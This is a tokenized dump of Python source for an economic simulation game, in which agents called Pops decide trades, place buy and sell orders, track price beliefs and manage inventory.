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"Ġ\"", "Percent", "Ġof", "Ġtr", "ades", "Ġthat", "Ġwere", "Ġsuccessful", "\"", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġself", ".", "total", "_", "tr", "ades", "Ġ==", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "Ġ", "0", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġ(", "self", ".", "successful", "_", "tr", "ades", "Ġ/", "Ġself", ".", "total", "_", "tr", "ades", ")", "Ġ*", "Ġ", "1", "0", "0", "ĊĊĠĠĠ", "Ġ@", "property", "ĊĠĠĠ", "Ġdef", "Ġis", "_", "away", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Is", "Ġthis", "ĠPop", "Ġaway", "Ġfrom", "Ġit", "'s", "Ġhome", "?\"", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġself", ".", "home", "Ġis", "Ġnot", "Ġself", ".", "location", "ĊĊĠĠĠ", "Ġ#", "ĠMer", "chant", "Ġspecific", "Ġlogic", "ĊĠĠĠ", "Ġdef", "Ġgo", "_", "to", "_", "province", "(", "self", ",", "Ġprovince", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Moves", "Ġthe", "ĠPop", "Ġto", "Ġanother", "ĠPro", "vince", "\"", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "location", "Ġ=", "Ġprovince", "ĊĊĠĠĠ", "Ġdef", "Ġdecide", "_", "trade", "_", "plan", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "ĠDec", "ide", "Ġwhat", "Ġgood", "Ġto", "Ġtrade", "Ġin", "Ġand", "Ġhow", "Ġmuch", ".", "ĊĠĠĠĠĠĠĠ", "ĠLook", "Ġfor", "Ġthe", "Ġmost", "Ġin", "Ġdemand", "Ġgood", ",", "Ġor", "Ġthe", "Ġmost", "Ġexpensive", "Ġgood", "Ġat", "Ġthe", "Ġhome", "ĠPro", "vince", "ĊĠĠĠĠĠĠĠ", "ĠFind", "Ġa", "Ġprovince", "Ġnear", "Ġhome", "Ġprovince", "Ġwhere", "Ġits", "Ġthe", "Ġche", "ape", "st", "Ġand", "Ġthere", "'s", "Ġinventory", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "trade", "_", "amount", "Ġ=", "Ġ", "5", "ĊĠĠĠĠĠĠĠ", "Ġmost", "_", "de", "man", "ded", "_", "goods", "Ġ=", "Ġself", ".", "home", ".", "market", ".", "goods", "_", "demand", "_", "ratio", "(", "day", "_", "range", "=", "1", ")", "ĊĠĠĠĠĠĠĠ", "Ġmost", "_", "de", "man", "ded", "_", "goods", "Ġ=", "Ġsorted", "(", "most", "_", "de", "man", "ded", "_", "goods", ".", "items", "(),", "Ġkey", "=", "lambda", "Ġi", ":", "Ġi", "[", "1", "],", "Ġreverse", "=", "True", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "Ġif", "Ġwe", "Ġalready", "Ġhad", "Ġa", "Ġtrade", "Ġgood", ",", "Ġrefresh", "Ġideal", "Ġinventory", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġself", ".", "trade", "_", "good", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "update", "_", "ide", "al", "_", "inventory", "()", "ĊĊĠĠĠĠĠĠĠ", "Ġif", "ĠDEBUG", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Finding", "Ġa", "ĠGood", "Ġto", "Ġtrade", ":\")", "ĊĊĠĠĠĠĠĠĠ", "Ġfor", "Ġgood", ",", "Ġdemand", "Ġin", "Ġmost", "_", "de", "man", "ded", "_", "goods", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġdemand", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġfind", "Ġnearby", "Ġpro", "vin", "ces", "Ġwhere", "Ġthis", "Ġhas", "Ġinventory", "Ġand", "Ġthe", "Ġprice", "Ġis", "Ġlower", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprice", "_", "at", "_", "home", "Ġ=", "Ġself", ".", "home", ".", "market", ".", "mean", "_", "price", "(", "good", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "ĠDEBUG", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "Good", ":", "Ġ{},", "ĠDem", "and", ":", "Ġ{},", "ĠPrice", ":", "Ġ${", "}\".", "format", "(", "good", ".", "title", ",", "Ġdemand", ",", "Ġprice", "_", "at", "_", "home", "))", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġne", "ighb", "oring", "_", "mark", "ets", "Ġ=", "Ġ[", "p", ".", "market", "Ġfor", "Ġp", "Ġin", "Ġself", ".", "location", ".", "owned", "_", "neighbors", "]", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġne", "ighb", "oring", "_", "mark", "ets", "Ġ=", "Ġ[", "m", "Ġfor", "Ġm", "Ġin", "Ġne", "ighb", "oring", "_", "mark", "ets", "Ġif", "Ġm", ".", "supply", "_", "for", "(", "good", ")", "Ġ>", "Ġself", ".", "trade", "_", "amount", "]", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġne", "ighb", "oring", "_", "mark", "ets", ".", "sort", "(", "key", "=", "lambda", "Ġm", ":", "Ġm", ".", "supply", "_", "for", "(", "good", "),", "Ġreverse", "=", "True", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġlen", "(", "ne", "ighb", "oring", "_", "mark", "ets", ")", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġwe", "Ġfound", "Ġplaces", "Ġwhere", "Ġthis", "Ġgood", "Ġis", "Ġche", "aper", "Ġand", "Ġin", "Ġinventory", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtarget", "Ġ=", "Ġne", "ighb", "oring", "_", "mark", "ets", "[", "0", "].", "location", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprice", "_", "at", "_", "target", "Ġ=", "Ġtarget", ".", "market", ".", "mean", "_", "price", "(", "good", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġonly", "Ġtrade", "Ġwith", "Ġprices", "Ġwhere", "Ġwe", "Ġcan", "Ġmake", "Ġmoney", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġprice", "_", "at", "_", "home", "Ġ>", "Ġprice", "_", "at", "_", "target", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġoffset", "Ġ=", "Ġ", "0", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġgood", "Ġis", "ĠGood", ".", "bread", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġoffset", "Ġ=", "Ġ", "1", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "inventory", ".", "set", "_", "ide", "al", "(", "good", ",", "Ġself", ".", "trade", "_", "amount", "Ġ+", "Ġoffset", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "trade", "_", "location", "Ġ=", "Ġtarget", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "ĠDEBUG", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"\\", "t", "Target", ":", "Ġ{},", "ĠSup", "ply", ":", "Ġ{},", "ĠPrice", ":", "Ġ${", "},", "ĠPrice", "Ġat", "Ġhome", ":", "Ġ${", "}\".", "format", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "trade", "_", "location", ".", "name", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "trade", "_", "location", ".", "market", ".", "supply", "_", "for", "(", "good", "),", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "trade", "_", "location", ".", "market", ".", "mean", "_", "price", "(", "good", "),", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprice", "_", "at", "_", "home", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "trade", "_", "good", "Ġ=", "Ġgood", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "ĠDEBUG", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"\\", "t", "Price", "Ġis", "Ġhigher", "Ġat", "Ġtarget", "Ġ(", "home", ":", "Ġ${", "}", "Ġtarget", ":", "Ġ${", "})", "\".", "format", "(", "price", "_", "at", "_", "home", ",", "Ġprice", "_", "at", "_", "target", "))", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "ĠDEBUG", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"\\", "t", "No", "Ġmark", "ets", "Ġsell", "ing", "Ġ{}", "Ġfound", "\".", "format", "(", "good", "))", "ĊĊĠĠĠ", "Ġ#", "ĠGeneric", "Ġeconom", "ic", "Ġlogic", "ĊĠĠĠ", "Ġdef", "Ġupdate", "_", "ide", "al", "_", "inventory", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Update", "Ġideal", "Ġinventory", "\"", "ĊĠĠĠĠĠĠĠ", "Ġ#", "Ġreset", "Ġso", "Ġthat", "Ġthe", "ĠPop", "Ġcan", "Ġsell", "Ġthe", "Ġinventory", "Ġit", "Ġdoesn", "'t", "Ġneed", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġgood", "Ġin", "ĠGood", ".", "all", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "inventory", ".", "set", "_", "ide", "al", "(", "good", ",", "Ġ", "0", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "Ġupdate", "Ġideal", "Ġinventory", "Ġfor", "Ġnew", "ĠJob", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġitem", "Ġin", "Ġself", ".", "pop", "_", "job", ".", "ide", "al", "_", "inventory", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "inventory", ".", "set", "_", "ide", "al", "(", "item", "[\"", "good", "\"],", "Ġitem", "[\"", "amount", "\"])", "ĊĊĠĠĠ", "Ġdef", "Ġgive", "_", "start", "_", "inventory", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Give", "Ġthe", "ĠPop", "Ġthe", "Ġinventory", "Ġit", "Ġneeds", "Ġto", "Ġdo", "Ġits", "Ġjob", "\"", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġitem", "Ġin", "Ġself", ".", "pop", "_", "job", ".", "start", "_", "inventory", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "inventory", ".", "add", "(", "item", "[\"", "good", "\"],", "Ġitem", "[\"", "amount", "\"])", "ĊĊĠĠĠ", "Ġdef", "Ġchange", "_", "population", "(", "self", ",", "Ġtrade", "_", "success", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Change", "Ġthe", "Ġpopulation", "Ġbased", "Ġoff", "Ġthe", "Ġtrade", "\"", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "population", "_", "y", "esterday", "Ġ=", "Ġself", ".", "population", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġtrade", "_", "success", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "population", "Ġ+=", "Ġround", "(", "self", ".", "population", "Ġ*", "Ġ", "0", ".", "0", "1", ")", "ĊĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "population", "Ġ-=", "Ġround", "(", "self", ".", "population", "Ġ*", "Ġ", "0", ".", "0", "0", "2", ")", "ĊĊĠĠĠ", "Ġdef", "Ġhandle", "_", "bank", "rupt", "cy", "(", "self", ",", "Ġpop", "_", "job", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Change", "Ġjob", ",", "Ġcreate", "Ġmoney", "Ġout", "Ġof", "Ġthin", "Ġair", ",", "Ġupdate", "Ġideal", "Ġinventory", "\"", "ĊĠĠĠĠĠĠĠ", "Ġ#", "ĠTODO", ":", "Ġstop", "Ġcreating", "Ġmoney", "Ġout", "Ġof", "Ġthin", "Ġair", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "pop", "_", "job", "Ġ=", "Ġpop", "_", "job", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "bank", "rupt", "_", "times", "Ġ+=", "Ġ", "1", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "money", "Ġ=", "Ġ", "2", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "update", "_", "ide", "al", "_", "inventory", "()", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "give", "_", "start", "_", "inventory", "()", "ĊĊĠĠĠ", "Ġdef", "Ġperform", "_", "logic", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Depend", "ing", "Ġon", "ĠPop", "Job", ",", "Ġperform", "Ġlogic", "Ġ(", "including", "Ġproduction", ")\"", "ĊĠĠĠĠĠĠĠ", "Ġlogic", "Ġ=", "Ġself", ".", "pop", "_", "job", ".", "logic", "(", "self", ")", "ĊĠĠĠĠĠĠĠ", "Ġlogic", ".", "perform", "()", "ĊĊĠĠĠ", "Ġdef", "Ġcreate", "_", "buy", "_", "order", "(", "self", ",", "Ġgood", ",", "Ġlimit", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Create", "Ġa", "Ġbuy", "Ġorder", "Ġfor", "Ġa", "Ġgiven", "ĠGood", "Ġat", "Ġa", "Ġdetermined", "Ġquantity", "\"", "ĊĠĠĠĠĠĠĠ", "Ġbid", "_", "price", "Ġ=", "Ġself", ".", "determine", "_", "price", "_", "of", "(", "good", ")", "ĊĠĠĠĠĠĠĠ", "Ġideal", "Ġ=", "Ġself", ".", "determine", "_", "buy", "_", "quantity", "(", "good", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "Ġcan", "'t", "Ġbuy", "Ġmore", "Ġthan", "Ġlimit", "ĊĠĠĠĠĠĠĠ", "Ġquantity", "_", "to", "_", "buy", "Ġ=", "Ġlimit", "Ġif", "Ġideal", "Ġ>", "Ġlimit", "Ġelse", "Ġideal", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġquantity", "_", "to", "_", "buy", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĠOrder", "(", "self", ",", "ĠOrder", "Type", ".", "buy", "_", "order", ",", "Ġquantity", "_", "to", "_", "buy", ",", "Ġbid", "_", "price", ",", "Ġgood", ")", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "ĠFalse", "ĊĊĠĠĠ", "Ġdef", "Ġcreate", "_", "sell", "_", "order", "(", "self", ",", "Ġgood", ",", "Ġlimit", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Create", "Ġa", "Ġsell", "Ġorder", "Ġfor", "Ġa", "Ġgiven", "ĠGood", "Ġat", "Ġa", "Ġdetermined", "Ġquantity", "\"", "ĊĠĠĠĠĠĠĠ", "Ġsell", "_", "price", "Ġ=", "Ġself", ".", "determine", "_", "price", "_", "of", "(", "good", ")", "ĊĠĠĠĠĠĠĠ", "Ġideal", "Ġ=", "Ġself", ".", "determine", "_", "sell", "_", "quantity", "(", "good", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "Ġcan", "'t", "Ġbuy", "Ġmore", "Ġthan", "Ġlimit", "ĊĠĠĠĠĠĠĠ", "Ġquantity", "_", "to", "_", "sell", "Ġ=", "Ġlimit", "Ġif", "Ġideal", "Ġ<", "Ġlimit", "Ġelse", "Ġideal", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġquantity", "_", "to", "_", "sell", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĠOrder", "(", "self", ",", "ĠOrder", "Type", ".", "sell", "_", "order", ",", "Ġquantity", "_", "to", "_", "sell", ",", "Ġsell", "_", "price", ",", "Ġgood", ")", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "ĠFalse", "ĊĊĠĠĠ", "Ġdef", "Ġprice", "_", "bel", "ief", "_", "for", "(", "self", ",", "Ġgood", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Gets", "Ġthe", "Ġprice", "Ġbel", "ief", "Ġthis", "Ġagent", "Ġhas", "Ġfor", "Ġa", "Ġparticular", "ĠGood", "\"", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġgood", "Ġin", "Ġself", ".", "price", "_", "bel", "ief", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "Ġself", ".", "price", "_", "bel", "ief", "[", "good", "]", "ĊĊĠĠĠ", "Ġdef", "Ġdetermine", "_", "price", "_", "of", "(", "self", ",", "Ġgood", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Det", "ermine", "Ġthe", "Ġprice", "Ġof", "Ġa", "Ġparticular", "Ġgood", "\"", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġself", ".", "price", "_", "bel", "ief", "_", "for", "(", "good", ").", "random", "()", "ĊĊĠĠĠ", "Ġdef", "Ġtrading", "_", "range", "_", "ext", "re", "mes", "(", "self", ",", "Ġgood", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Gets", "Ġthe", "Ġlowest", "Ġand", "Ġhigh", "st", "Ġprice", "Ġof", "Ġa", "ĠGood", "Ġthis", "Ġagent", "Ġhas", "Ġseen", "\"", "ĊĠĠĠĠĠĠĠ", "Ġtrading", "_", "range", "Ġ=", "Ġself", ".", "observed", "_", "trading", "_", "range", "[", "good", "]", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "ĠPrice", "Range", "(", "min", "(", "trading", "_", "range", "),", "Ġmax", "(", "trading", "_", "range", "))", "ĊĊĠĠĠ", "Ġdef", "Ġdetermine", "_", "sell", "_", "quantity", "(", "self", ",", "Ġgood", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Det", "ermine", "Ġhow", "Ġmuch", "Ġinventory", "Ġgoods", "Ġto", "Ġsell", "Ġbased", "Ġon", "Ġmarket", "Ġconditions", "\"", "ĊĠĠĠĠĠĠĠ", "Ġmean", "Ġ=", "Ġself", ".", "market", ".", "avg", "_", "h", "istor", "ial", "_", "price", "(", "good", ",", "Ġ", "1", "5", ")", "ĊĠĠĠĠĠĠĠ", "Ġtrading", "_", "range", "Ġ=", "Ġself", ".", "trading", "_", "range", "_", "ext", "re", "mes", "(", "good", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġfavor", "ibility", "Ġ=", "Ġposition", "_", "in", "_", "range", "(", "mean", ",", "Ġtrading", "_", "range", ".", "low", ",", "Ġtrading", "_", "range", ".", "high", ")", "ĊĠĠĠĠĠĠĠ", "Ġamount", "_", "to", "_", "sell", "Ġ=", "Ġround", "(", "f", "avor", "ibility", "Ġ*", "Ġself", ".", "inventory", ".", "sur", "plus", "(", "good", "))", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġamount", "_", "to", "_", "sell", "Ġ<", "Ġ", "1", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġamount", "_", "to", "_", "sell", "Ġ=", "Ġ", "1", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġamount", "_", "to", "_", "sell", "ĊĊĠĠĠ", "Ġdef", "Ġdetermine", "_", "buy", "_", "quantity", "(", "self", ",", "Ġgood", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"", "Det", "ermine", "Ġhow", "Ġmuch", "Ġgoods", "Ġto", "Ġbuy", "Ġbased", "Ġon", "Ġmarket", "Ġconditions", "\"", "ĊĠĠĠĠĠĠĠ", "Ġmean", "Ġ=", "Ġself", ".", "market", ".", "avg", "_", "h", "istor", "ial", "_", "price", "(", "good", ",", "Ġ", "1", "5", ")", "ĊĠĠĠĠĠĠĠ", "Ġtrading", "_", "range", "Ġ=", "Ġself", ".", "trading", "_", "range", "_", "ext", "re", "mes", "(", "good", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġfavor", "ibility", "Ġ=", "Ġ", "1", "Ġ-", "Ġposition", "_", "in", "_", "range", "(", "mean", ",", "Ġtrading", "_", "range", ".", "low", ",", "Ġtrading", "_", "range", ".", "high", ")", "ĊĠĠĠĠĠĠĠ", "Ġamount", "_", "to", "_", "buy", "Ġ=", "Ġround", "(", "f", "avor", "ibility", "Ġ*", "Ġself", ".", "inventory", ".", "short", "age", "(", "good", "))", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġamount", "_", "to", "_", "buy", "Ġ<", "Ġ", "1", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġamount", "_", "to", "_", "buy", "Ġ=", "Ġ", "1", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġamount", "_", "to", "_", "buy", "ĊĊĠĠĠ", "Ġdef", "Ġgenerate", "_", "orders", "(", "self", ",", "Ġgood", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "ĠIf", "Ġthe", "ĠPop", "Ġneeds", "Ġa", "ĠGood", "Ġto", "Ġperform", "Ġproduction", ",", "Ġbuy", "Ġit", "ĊĠĠĠĠĠĠĠ", "ĠIf", "Ġthe", "ĠPop", "Ġhas", "Ġsur", "plus", "ĠResources", ",", "Ġsell", "Ġthem", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġsur", "plus", "Ġ=", "Ġself", ".", "inventory", ".", "sur", "plus", "(", "good", ")", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġsur", "plus", "Ġ>=", "Ġ", "1", ":", "Ġ", "Ġ#", "Ġsell", "Ġinventory", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġthe", "Ġoriginal", "Ġonly", "Ġold", "Ġone", "Ġitem", "Ġhere", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġsell", "_", "amount", "Ġ=", "Ġsur", "plus", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġorder", "Ġ=", "Ġself", ".", "create", "_", "sell", "_", "order", "(", "good", ",", "Ġsur", "plus", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġorder", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġprint", "('{}", "Ġsell", "s", "Ġ{}", "Ġ{}'.", "format", "(", "self", ".", "pop", "_", "job", ".", "title", ",", "Ġsell", "_", "amount", ",", "Ġgood", ".", "name", "))", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "market", ".", "sell", "(", "order", ")", "ĊĠĠĠĠĠĠĠ", "Ġelse", ":", "Ġ", "Ġ#", "Ġbuy", "Ġmore", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġshort", "age", "Ġ=", "Ġself", ".", "inventory", ".", "short", "age", "(", "good", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfree", "_", "space", "Ġ=", "Ġself", ".", "inventory", ".", "empty", "_", "space", "ĊĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġshort", "age", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġshort", "age", "Ġ<=", "Ġfree", "_", "space", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġenough", "Ġspace", "Ġfor", "Ġideal", "Ġorder", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġlimit", "Ġ=", "Ġshort", "age", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġnot", "Ġenough", "Ġspace", "Ġfor", "Ġideal", "Ġorder", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġlimit", "Ġ=", "Ġmath", ".", "floor", "(", "free", "_", "space", "Ġ/", "Ġshort", "age", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġlimit", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġorder", "Ġ=", "Ġself", ".", "create", "_", "buy", "_", "order", "(", "good", ",", "Ġlimit", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġorder", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġprint", "('{}", "Ġbu", "ys", "Ġ{}", "Ġ{}'.", "format", "(", "self", ".", "pop", "_", "job", ".", "title", ",", "Ġlimit", ",", "Ġgood", ".", "name", "))", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "market", ".", "buy", "(", "order", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "ĠĠĠĠ", "Ġprint", "(\"{}", "Ġhas", "Ġno", "Ġshort", "age", "Ġof", "Ġ{}", "Ġ(", "has", "Ġshort", "age", ":", "Ġ{})", "\".", "format", "(", "self", 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"Ġwhich", "Ġordered", "Ġit", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĊĠĠĠĠĠĠĠ", "ĠSIGN", "IFIC", "ANT", "Ġ=", "Ġ", "0", ".", "2", "5", "Ġ", "Ġ#", "Ġ", "2", "5", "%", "Ġmore", "Ġor", "Ġless", "Ġis", "Ġ\"", "sign", "ificant", "\"", "ĊĠĠĠĠĠĠĠ", "ĠSIG", "_", "IM", "BAL", "ANCE", "Ġ=", "Ġ", "0", ".", "3", "3", "ĊĠĠĠĠĠĠĠ", "ĠLOW", "_", "IN", "VENT", "ORY", "Ġ=", "Ġ", "0", ".", "1", "Ġ", "Ġ#", "Ġ", "1", "0", "%", "Ġof", "Ġideal", "Ġinventory", "Ġ=", "Ġ\"", "LOW", "\"", "ĊĠĠĠĠĠĠĠ", "ĠHIGH", "_", "IN", "VENT", "ORY", "Ġ=", "Ġ", "2", ".", "0", "Ġ", "Ġ#", "Ġ", "2", "0", "0", "%", "Ġof", "Ġideal", "Ġinventory", "Ġ=", "Ġ\"", "HIGH", "\"", "ĊĠĠĠĠĠĠĠ", "ĠMIN", "_", "PRICE", "Ġ=", "Ġ", "0", ".", "0", "1", "Ġ", "Ġ#", "Ġlowest", "Ġallowed", "Ġprice", "Ġof", "Ġa", "ĠGood", "ĊĊĠĠĠĠĠĠĠ", "Ġif", "Ġis", "_", "successful", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġadd", "Ġthis", "Ġtrade", "Ġto", "Ġthe", "Ġobserved", "Ġtrading", "Ġrange", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "observed", "_", "trading", "_", "range", "[", "good", "].", "append", 